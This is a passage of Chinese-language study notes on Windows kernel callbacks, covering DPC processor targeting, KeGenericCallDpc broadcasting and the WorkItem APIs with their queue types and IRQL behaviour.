1 KeSetTargetProcessorDpc(KDPC结构,核序号);
让所有核都执行一遍DPC:
1 2 3 4 KeGenericCallDpc(DPC回调函数,DPC回调参数); KeSignalCallDpcDone(参数1 ); KeSignalCallDpcSynchronize(参数2 );
WorkItem 相较于APC和DPC,WorkItem不依附于指定线程,没有核相关性,执行IRQL等级也是0等级;
它也是一种回调,只不过只依附于System进程中的一些线程;
这些线程可以简单地理解为一直等待 WorkItem 队列里有值,一有值就被唤醒去调用 WorkItem 回调;
相关API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 VOID ExInitializeWorkItem ( [in] PWORK_QUEUE_ITEM Item, [in] PWORKER_THREAD_ROUTINE Routine, [in] PVOID Context ) ;VOID ExQueueWorkItem ( [in, out] __drv_aliasesMem PWORK_QUEUE_ITEM WorkItem, [in] WORK_QUEUE_TYPE QueueType ) ;typedef enum _WORK_QUEUE_TYPE { CriticalWorkQueue, DelayedWorkQueue, HyperCriticalWorkQueue, NormalWorkQueue, BackgroundWorkQueue, RealTimeWorkQueue, SuperCriticalWorkQueue, MaximumWorkQueue, CustomPriorityWorkQueue } WORK_QUEUE_TYPE;
在DPC回调里,不能使用延时函数如Sleep,但在WorkItem回调里面是可以用的;
且在WorkItem回调里面可以迭代执行插入操作,实现间隔执行的效果;
APC,DPC,WorkItem回调,最大的特点就是不会创建新线程;